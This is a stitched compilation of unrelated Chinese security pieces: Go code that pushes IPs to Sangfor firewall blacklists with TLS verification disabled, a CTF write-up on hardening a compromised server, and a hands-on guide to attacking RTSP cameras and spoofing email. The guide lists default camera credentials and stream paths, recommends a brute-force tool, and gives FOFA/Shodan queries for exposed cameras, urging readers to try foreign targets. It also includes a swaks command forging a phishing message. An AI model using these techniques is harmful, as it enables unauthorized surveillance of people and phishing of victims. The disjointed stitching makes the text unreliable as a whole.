		Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},
	}
	resp, err := client.Post(url, "application/json", bytes.NewBuffer(jsonData))
	if err != nil {
		return "", fmt.Errorf("登录请求失败: %v", err)
	}
	defer resp.Body.Close()

	body, _ := io.ReadAll(resp.Body)

	// 打印响应内容进行调试
	fmt.Println("响应体内容:", string(body))

	var result struct {
		Code    int    `json:"code"`
		Message string `json:"message"`
		Data    struct {
			LoginResult struct {
				Token string `json:"token"`
			} `json:"loginResult"`
		} `json:"data"`
	}

	if err := json.Unmarshal(body, &result); err != nil {
		return "", fmt.Errorf("解析登录响应失败: %v", err)
	}

	// 检查返回的 code
	if result.Code != 0 {
		return "", fmt.Errorf("登录失败: %s", result.Message)
	}

	// 返回 token
	return result.Data.LoginResult.Token, nil
}

// 加载 JSON 文件并解析为设备切片
// 加载 JSON 文件并解析为设备切片
func loadSXFDevices(filePath string) ([]SXFDevice, error) {
	data, err := os.ReadFile(filePath)
	if err != nil {
		return nil, fmt.Errorf("设备配置文件加载失败: %v", err)
	}

	// 输出加载的 JSON 数据(用于调试)
	fmt.Printf("加载的 JSON 数据: %s\n", string(data))

	var devices []SXFDevice
	err = json.Unmarshal(data, &devices)
	if err != nil {
		return nil, fmt.Errorf("设备解析失败: %v", err)
	}

	// 输出解析后的设备信息(调试)
	fmt.Printf("加载的设备数量: %d\n", len(devices))
	for _, device := range devices {
		// 输出每台设备的详细信息,特别是 AddressGroup 字段
		fmt.Printf("设备信息:Name=%s, IP=%s, AddressGroup=%s\n", device.Name, device.IP, device.AddressGroup)
	}

	return devices, nil
}

// ✅ 添加多个 IP 到 SXF 地址组(支持日志回调)
// 在 AddToSXFBlacklist 函数内部,确保请求头正确设置
// 设备添加到黑名单的函数
// AddToSXFBlacklist 将 IP 地址添加到 SXF 防火墙的黑名单
// 添加多个 IP 到 SXF 地址组(支持日志回调)
// AddToSXFBlacklist 将 IP 地址添加到 SXF 防火墙的黑名单
func AddToSXFBlacklist(devices []SXFDevice, ips []string, logFn func(string)) error {

	for _, device := range devices {
		// 1. 登录
		token, err := SXFLogin(device)
		if err != nil {
			logFn(fmt.Sprintf("【%s】❌ 登录失败: %v", device.Name, err))
			continue
		}
		logFn(fmt.Sprintf("【%s】✅ 登录成功", device.Name))

		// 2. 添加每个IP
		for _, ip := range ips {
			ipRanges := []map[string]string{{"start": ip, "end": ip}}
			requestData := map[string]interface{}{"ipRanges": ipRanges}
			requestDataJSON, _ := json.Marshal(requestData)

			// 3. 发送请求
			url := fmt.Sprintf(
				"https://%s/api/v1/namespaces/public/ipgroups/%s?_arrayop=add",
				device.IP,
				device.AddressGroup,
			)
			req, _ := http.NewRequest("PATCH", url, bytes.NewBuffer(requestDataJSON))
			req.Header = http.Header{
				"token":        []string{token},
				"Content-Type": []string{"application/json"},
			}

			client := &http.Client{
				Transport: &http.Transport{
					TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
				},
			}
			resp, err := client.Do(req)
			if err != nil {
				logFn(fmt.Sprintf("【%s】❌ IP %s 添加失败: %v", device.Name, ip, err))
				continue
			}
			defer resp.Body.Close()

			// 4. 处理响应
			body, _ := io.ReadAll(resp.Body)
			var result map[string]interface{}
			if err := json.Unmarshal(body, &result); err != nil {
				logFn(fmt.Sprintf("【%s】❌ IP %s 响应解析失败: %v", device.Name, ip, err))
				continue
			}

			if code, ok := result["code"].(float64); ok && code == 0 {
				logFn(fmt.Sprintf("【%s】✅ IP %s 已添加到地址组[%s]",
					device.Name, ip, device.AddressGroup))
			} else {
				msg, _ := result["message"].(string)
				logFn(fmt.Sprintf("【%s】❌ IP %s 添加失败: %s", device.Name, ip, msg))
			}
		}
	}
	return nil
}

如果想要扩展功能的话不建议使用API去扩展,毕竟太麻烦了,各种参数比较麻烦,没有ssh的方式登录使用命令操作简便。

整体界面效果

总结

其它厂商的防火墙确实没找到手册,有的是找到手册没有测试的设备,目前上述的设备和代码是完全没有问题的,如果想添加其它厂商的设备,可以给我操作手册,我这边更新新版本发布。每次更新后的授权时间是3个月

前言

刚好有机会接触到卫生行业的运维赛,这里只有机会接触到测试赛,简单谢谢wp吧,测试赛的话主办方也是用心了的,难度的话相比较决赛的内容还是比较简单的。

题目

【题目背景】 模拟了一台公网上的服务器,内置 MYSQL\SSH\WEB 等应用服务,但是因为安全意识不到位导致该服务器存在若干安全风险,现在要求对该服务器实施断网并作全方面的安全检查,由于服务的迁移,在系统中保留了一些历史服务的流量包,需要对流量包进行分析和研判。

【题目要求】

1、通过修改服务器登录相关的配置文件实现:密码有效期90天、连续输错三次密码,账号锁定五分钟。

2、通过修改mysql相关配置实现:开启数据库查询日志、限制任意地址登录,只允许127.0.0.1登录。

3、从 /root/analyse.pcapng 文件中分析被读取走的flag值,写到 /root/flag.txt 中。

4、对系统中存在的其他安全隐患进行排查和处置(恶意配置后门请直接删除)。

5、还有其他的一些要求,但是没在题干中

【注意事项】

1、不涉及修改密码和修改私钥的动作,如果因为修改密码或私钥导致无法得分,选手自行负责。

2、禁止使用防火墙等相关IP封锁技术对IP进行隔离,如果因为隔离IP导致无法得分,选手自行负责。

【接入信息】

1、SSH服务端口22,账号密码为root/root

2、MYSQL服务账号密码为root/mysql

步骤

登录ssh,发现处于docker容器内,其实这里很多命令是无法使用的。

先修改登录过期事件

vim /etc/login.def

PASS_MAX_DAYS 90

连续输入错误三次,锁定5分钟

vim /etc/pam.d/sshd

auth required pam_tally.so deny=3 onerr=fail unlock_time=300 #最夯一行添加配置文件

auth required pam_faillock.so preauth audit silent deny=3 unlock_time=300
auth required pam_faillock.so authfail audit deny=3 unlock_time=300

或者修改

/etc/pam.d/common-auth

隐藏后门

查看发现异常用户hacker

userdel -f hacker

这里需要强制删除,因为不添加参数的话会重新创建该用户。

访问控制

访问控制在/etc/hosts.allow中发现存在异常的访问控制,删除该文件即可

安全配置

mysql暴力破解用户名密码root/mysql

mysql -uroot -pmysql

SET GLOBAL general_log = 'ON'; //开启数据库查询日志

或者图形化界面执行修改也可以

访问控制2

限制登录地址为127.0.0.1

修改配置文件

vim /etc/mysql/mysql.conf.d/mysql.cnf

bind-address = 127.0.0.1

定时任务

这个定时任务题目有问题,没有定时任务但是需要删除root的定时任务

rm /var/spool/cron/crontabs/root

其实这里的定时任务文件是没内容的,但是check的机制就是检测文件是否存在

特殊权限

find / -type f -perm -4000 -exec ls -l {} \;

find /:从根目录开始查找(你也可以指定特定的目录,例如 /usr/bin)。

-type f:只查找文件,不查找目录。

-perm -4000:查找设置了 SUID 权限的文件(SUID 权限对应的数字是 4000)。

-ls:显示详细信息,包括文件的权限、所有者、大小、修改时间等。

所有具有suid权限的文件都在/bin下,一般whoami权限是没有suid权限的,所以这个文件被动过,所以这里干掉这个文件就可以了。

流量分析

需要开启SFTP服务,注释掉配置文件

#RSAAuthentication yes 这个配置文件是老版本openssh

另外添加ftp配置文件

Subsystem sftp internal-sftp

检索关键字,追踪tcp流分析找到一串base64编码内容

导出分组字节流解码得到flag

echo "flag{d9d2c4b2-7cf2-472f-a8e8-2aad1e466099}" > /root/flag.txt

web漏洞

目录扫描发现info目录,发现属于xxe的报错,构造xxe语句

system是可执行文件,url路径需要传参,fuzz无果手工测试

回显显示需要参数,简单测试构造发现存在任意文件读取

修复直接就是定位到位置点儿进行修复即可。其实这里最简单的就是直接代码审计,审计即可,因为前期导完数据包的时候环境有问题,修改配置文件无法SFTP连接获取源码,所以就黑盒进行FUZZ了。

声明

本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
此文章不允许未经授权转发至除 火线Zone 社区 以外的其它平台!!!

0x1 RTSP奇特之旅前言

浅谈

哈咯,师傅们,好久不见!

已经很久没有写文章了,这次简单写一个蛮有意思的案例,也是在最近攻防演练中遇到的。

其实在最初开始晚没有特别的去想着去利用这个漏洞——RTSP协议漏洞,因为之前有看过文章简单了解过,主要就是打弱口令和未授权访问漏洞,然后一般就是比较敷衍的使用爆破工具爆破下,有无弱口令,或者使用字典目录遍历下。

像下面的我就喜欢使用无影tools的爆破模块

把目标导入即可,然后选择RTSP的554端口进行爆破,字典可以选择内置的字典

其次一般像RTSP的弱口令和未授权在我以前感觉用处不是很大,且平常挖src漏洞之类的,也不怎么碰的到。但是这次攻防演练嘛,有些东西在平常可能没多大的利用的价值,但是打攻防说不定就是可以打分打权限的那种,下面就来介绍下这个RTSP漏洞。

其中主要还是在网上看了很多的打法和文章资料,在网上尝试了蛮多的工具,发现一款GitHub上面的新利用RTSP漏洞一键利用的工具,然后结合这次资产刚好有,就利用起来了。

然后这次我开始也是简单的爆破下,因为这次是攻防演练嘛,然后是某单位的资产,且有好多下级部门的厂商视频监控管理系统,所以对应的监控大都是RTSP协议的,集群远程管理。

且这次的攻防演练目标资产比较多,范围比较广,只要是属于该市的资产都可以,还有一些企业的都可以,像很多的监控系统都带有远程管理操作,所以有部分都是RTSP协议的,且这个漏洞在平常接触比较少,就比如我平常挖src对这个漏洞基本上没有太多的操作。

下面是我简单收集的一些资产表格如下:

0x2 众测捡钱小技巧(拓展)

一、浅谈

上面既然介绍到了我们平常挖企业src中一些不怎么会收的漏洞,比如我这里要讲的RTSP漏洞,这个漏洞的话主要是在攻防演练中,我们可以对目标资料中的一些监控管理系统进行拿监控管理权限的分,因为在攻防演练中主要是通过拿数据分和权限分,特别是你打进内网,像这样的监控系统肯定很多,这样就可以帮助你拿比较多的权限分。

这里给师傅们看下某些评分标准:

下面我来给师傅们讲下众测中,我一般第一先测试的漏洞——SPF邮件伪造漏洞。

具体的测试方法,我下面有很详细的测试手法,其实网上也有很多的批量跑SPF邮件伪造漏洞的脚本,其中我自己也是利用这些脚本去测试的,因为在众测中,得拼手速了,具体的脚本我这里就不放上去了,因为脚本内容因人而异,最好自己修改下。

其实在攻防演练中也是可以利用SPF邮件伪造漏洞的,可以使用SPF邮件伪造去钓鱼,收集目标资产的邮箱,然后去钓鱼攻击,也是一种方法,在护网期间,钓鱼攻击是特别常态且使用特别多的一种方式。

二、SPF邮件伪造漏洞

针对师傅们对于SPF邮件伪造漏洞的拓展,师傅们可以看我之前写的那篇原创文章:https://xz.aliyun.com/news/14752

这里就引用这篇文章的SPF邮件伪造漏洞,写的蛮详细的,师傅们可以参考学习下,然后后面在众测项目上去赚点漏洞赏金。

1、spf邮件伪造漏洞简介:

SPF 记录是一种域名服务(DNS)记录,用于标识哪些邮件服务器可以代表您的域名发送电子邮件

SPF 记录的目的是为了防止垃圾邮件发送者在您的域名上,使用伪造的发件人地址发送邮件。

原理:未设置spf导致的邮件任意伪造,可以用来钓鱼社工,本身就是高危

若您未对您的域名添加 SPF 解析记录,则黑客可以仿冒以该域名为后缀的邮箱,来发送垃圾邮件。

2、漏洞危害:

可以用未进行安全配置的网站域名,发送邮件。

比如:www.baidu.com有这个漏洞,你就可以伪造HR@baidu.com给受害人发邮件进行钓鱼。

src收的少,但是重测和渗透测试项目可以交。

  • 注意:如果没有v=spf1或者没spf就存在邮件伪造漏洞。
  • -all 不能伪造,all可以伪造

3、测试漏洞

我们直接拿baidu.com的域名来给大家演示下,用kali的nslookup 工具测试下

可以看到下面的回显,存在spf记录,是-all参数,说明不能任意伪造。

┌──(root-kali)-[~]
└─# nslookup -type=txt baidu.com

还可以使用dig -t命令来测试

┌──(root-kali)-[~]
└─# dig -t txt baidu.com

4、SPF解析不当导致绕过

把下面的spf配置记录复制下来

测试地址如下:

https://www.kitterman.com/spf/validate.html

这里显示spf解析配置正确

下面拿一个存在spf解析错误的案例来演示下:

SPF记录报错,在这条SPF记录中,存在多个IP段,但只有开头的一段ip用了ipv4,这就导致了语法错误。因为这个错误,将导致整个SPF记录完全失效,因为SPF无效,邮件接收方的SPF检测功能也就失效了。

5、swaks 测试

使用kali自带工具swaks 测试

swaks --body "helloword" --header "Subject:testT" -t 自己的邮箱 -f test@baidu.com
body为内容
Subject为标题
-t为目标邮箱
-f为伪造的发送方,这里我们伪造加了cn字眼,这里伪造改不明显字眼等都会进垃圾箱

我们先申请一个临时邮箱:

http://24mail.chacuo.net/

然后我们使用kali自带的swaks 工具进行测试,结果如下

┌──(root-kali)-[~]
└─# swaks --body "【2024年8月1日】 检测到您教务系统长时间未修改密码,请及时修改密码确保账户安全 手机管家@163.com
【该邮件自动监测请勿回复】" --header "Subject:vivo" -t vioxzs43016@chacuo.net -f customers@alexz.com


看到这里,我们要是对标题和内容进行改进,那么我们是不是就可以尝试钓一波鱼了呢?

0x3 RTSP协议漏洞介绍

一、协议分析

  • RTSP(实时流协议)是一个网络控制协议,设计用于娱乐和通信系统中控制流媒体服务器。该协议用于建立和控制媒体会话中的时间同步流。RTSP 提供了一个可扩展框架,使得能够实现对实时数据,如音频和视频的控制。与HTTP不同,RTSP提供了对流数据的实时控制功能,比如可以随意快进或倒退。

  • RTSP 主要用于以下场景:

    1、视频监控系统,会议视频

    2、IP摄像头监控(企业、大街、工厂的监控头)

    3、媒体播放器与媒体服务器之间的交互

    4、智能家居设备,比如:门铃、智能汽车行车仪等

  • RTSP 协议通常运行在 TCP 或 UDP 协议之上,使用的端口是554,不同厂商可能是8554端口。它允许客户端发送播放、暂停和停止等控制指令,以及进行实时播放位置的调整。

二、RTSP认证方式

1、Basic认证(基本认证)

基本认证是HTTP 1.0 提出的认证方案,其消息传输不经过加密转换因此存在严重的安全隐患。

服务端在未认证时返回401Unauthorized,并带上WWW-Authenticate: Basic realm="RTSP Server"头,要求客户端提供凭据。

1) 客户端发送 DESCRIBE 请求

DESCRIBE rtsp://192.168.1.55:554/11 RTSP/1.0\\r\\n CSeq: 1\\r\\n 
Accept: application/sdp\\r\\n 
User-agent: Realplayer\\r\\n\\r\\n

2)服务端发出 WWW-Authenticate 认证响应

服务端返回401错误码,发出 WWW-Authenticate 认证响应告诉客户端需要进行认证。

RTSP/1.0 401 Unauthorized\r\n 
CSeq: 1\r\n WWW-Authenticate: Basic realm="RTSPD"\r\n\r\n

3)客户端再次发出 DESCRIBE 请求

此时客户端程序弹出密码认证窗口 ,提示输入用户名,密码等认证信息,并根据服务端返回的响应消息中进处理,如果发现是 Basic认证则携带认证信息发送如下报文:

DESCRIBE rtsp://192.168.1.55:554/live/1/video.sdp?token=A00453FR805a54C8 RTSP/1.0\r\n CSeq: 2\r\n 
Accept: application/sdp\r\n 
User-Agent: RealMedia Player HelixDNAClient/12.0.1.647 (win32)\r\n Authorization: Basic YWRtaW46YWRtaW4=\r\n\r\

其中 “YWRtaW46YWRtaW4=” 是通过 username:password 进行 base64 编码所得。因为其具有唯一性等价于账号和密码,明文发送泄漏后存在安全风险。

2、Digest认证(摘要认证)

摘要认证是http 1.1提出的基本认证的替代方案,其消息经过MD5哈希转换因此具有更高的安全性。

避免了直接明文传输密码的风险。但是 MD5 哈希较弱,仍然可以通过 彩虹表等方式破解。

三、RTSP认证流量监测

首先,这里你去了解RTSP认证流量,得先安装两款工具,工具是使用Wireshark和VLC视频播放工具。

1、Wireshark下载地址

https://www.wireshark.org/download.html

2、VLC视频播放工具

https://www.videolan.org/vlc/index.zh_CN.html

因为我的电脑上macbook,所以打开VLC和使用如下操作(windows的操作也是差不多的)

1、默认下载下来是英文的,直接可以设置中文的

选择Language,然后选择简体中文,重启软件就好了

2、打开 VLC 主界面,选择File > OpenNetwork(中文版为媒体 > 打开网络串流

3、在弹出的对话框输入直播流播放地址,然后点击打开即可查看监控视频画面了

3、认证流量监测

使用Wireshark和VLC视频播放工具

获取rtsp协议认证方式,可以发送options和describe请求进行,如下图所示,获取到认证方式为401 Basic和Digest, 如果返回的状态码为200,说明存在未授权访问。

0x4 RTSP漏洞攻击

一、主流摄像头安全问题汇总

1、警卫视摄像头

型号:qs-qy
连接密码:密码默认为空

rtsp连接地址:

rtsp://admin@IP:554/live/ch00_1

2、乐橙摄像头

型号:LC-S2D
rtsp密码:摄像头底部安全码    
rtsp连接地址:
rtsp://admin:L2C3F848@IP:554/cam/realmonitor?channel=1&subtype=0

3、tp-link摄像头

设备型号:TL-IPC44AW
rtsp密码:默认为空
rtsp连接地址:
rtsp://admin@IP:554/stream1   

4、萤石摄像头

设备型号:CS-C6
rtsp密码:摄像头底部安全码
rtsp连接地址:
rtsp://admin:RMETAA@IP:554/h264/ch1/main/av_stream

5、乔安智联摄像头

设备型号:JA-C10E
rtsp密码:空密码
rtsp连接地址:
rtsp://admin@IP:554/live/ch00_1

6、帝防摄像头

设备型号:JA-C10E
rtsp连接地址:
rtsp://admin:admin11@IP:554/onvif1   

7、Cubetoou摄像头

设备型号:Q88
rtsp连接地址:
rtsp://admin:123a123a@IP:554/onvif1

8、 icam365摄像头

设备型号:GI-2304
rtsp连接地址:
rtsp://admin:admin@IP/live.sdp

思路:
①指纹识别    
发送rtsp请求,根据server头找到设备型号为TAS-Tech

②查找设备rtsp地址和密码
在ispyconnect (https://www.ispyconnect.com/camera/tas-tech),上找到rtsp地址和密码。
连接地址为:rtsp://admin:admin@IP/live.sdp

二、RTSP爆破

  • RTSP协议认证主要有Basic和Digest两种
  • 它的RTSP URL通常是这样的 rtsp://admin:admin@192.168.1.56:554/live/sys01

对于爆破用户名、密码和流路径的方法网上也是有很多的python脚本,都可以尝试使用,但是我自己使用了好几个,都感觉差点意思,首先对于打攻防演练中,批量去测试,且需要对测试出来的IP地址进行归类,然后显示和判断出有价值的信息的,且导出页面可视化效果不好,其次好多针对呀RTSP这个漏洞目前汇总的字典不够全,爆破起来不是那么那啥,得自己汇总针对性的字典。

三、RTSP协议爆破工具

我最开始就是使用无影tools和hydra九头蛇进行尝试爆破。

特别是对于新手师傅们,可能更喜欢在网上找些github项目的图形化GUI的项目试试,我这里也是找到了一个工具,蛮不错的,图形化操作,内置字典都还不错

GitHub地址:

https://github.com/returnwrong/RTSP-Cracker-Pro

师傅们要是觉得这个工具还不错,看完我的文章以后可以挖到这类漏洞了,可以给作者点个star关注

这里直接下载这个zip文件即可,里面主要是一个python的可执行文件,是个GUI图形化的工具

但是这里我的MacBook电脑自带的Python 3.9.6运行这个下载的python执行文件,里面的功能显示不全(有点疑惑)

 ~/Downloads/rtsp_crackV1.0.3 > python --version
Python 3.9.6

后面在Cursor上面进行代码修改,提示应该是在 Mac 上运行时出现图形化界面显示异常,可能是由于不同操作系统的字体、颜色渲染或布局方式有所差异导致的,这里直接改改代码即可

工具打开以后是这样的,图形化界面,看着就很简单

四、攻防演练RTSP实战

这里最开始是通过查看评分手册来看到一些摄像头权限分也是可以拿的,且当时在资产收集过程中,看到了蛮多的视频监控管理系统等等,于是我上网找了蛮多的资料和工具进行测试漏洞。

这里直接把IP导入到ip.txt文件中

这里的字典可以使用工具自带的,但是我这里建议师傅们要是能过自己再去多收集一些,然后与这个工具的字典汇总,再去重,爆破效果可能要好点

然后点击破解,就可以看到具体的一个破解速度和进程了,图形化的好处就是可以很直观的看,爆破的日志也很清晰,特别是对于攻防中目标资产特别多,我们可以调整下线程大小

还有就是Digest认证和Basic认证两种都跑一下,这样爆破成功的概率更大

爆破成功后,可以直接点击查看结果的功能,里面的爆破成功目标资产很详细的列举出来了,但是我感觉爆破最主要还是得靠字典,这个工具自带的字典还行,但是也不是特别全,需要自己去网上收集

然后把显示爆破成功的RTSP URLs复制过来到VLC视频工具,然后连接就可以直接看到监控内容了

五、手把手带你挖RTSP漏洞

像师傅们看完我上面的文章了是吧,手肯定也痒痒了,也想去测试下这个漏洞,获取下监控视频的权限。这里提醒下,别使用国内的,可以去试试国外的。具体的空间搜索引擎语法如下:

FOFA语法

port="554" && protocol="rtsp" && category="视频监控"

FOFA语句二:

(port="554") && (is_honeypot=false && is_fraud=false) && protocol="rtsp"


可以看到数量比较多,测试的时候可以把线程调大点,爆破的时间就稍微短点

shodan搜索网络摄像头语法:

shodan搜索起来更加好点,特别是这里建议大家试试国外的站点,建议可以使用shodan去测试

port:554 has_screenshot:true

然后打开VLC media player,配置流地址,然后就可以直接有监控权限了,可以直接看画面了

0x5 总结

到这里,这篇文章就已经结束了,该聊的和该注意的地方都给师傅们前面已经提过了,结尾呢主要是还是得提醒下师傅们不要未授权测试,且干渗透测试得低调点。

然后上面已经非常详细点给师傅们分享了RTSP漏洞的案例,看完这篇文章,我想小白新手师傅都可以去挖这个漏洞了,使用的工具和手法都给师傅们分享了,且都写的非常的详细。

因为我电脑是MacBook的原因,所以一些软件使用上面还是有差异,师傅们可以自行上网搜索,Google浏览器还是很好用的,多搜搜,最好希望师傅们测试这个漏洞的时候测下国外的,不要未授权测试国内的!!!

文章中涉及的敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担。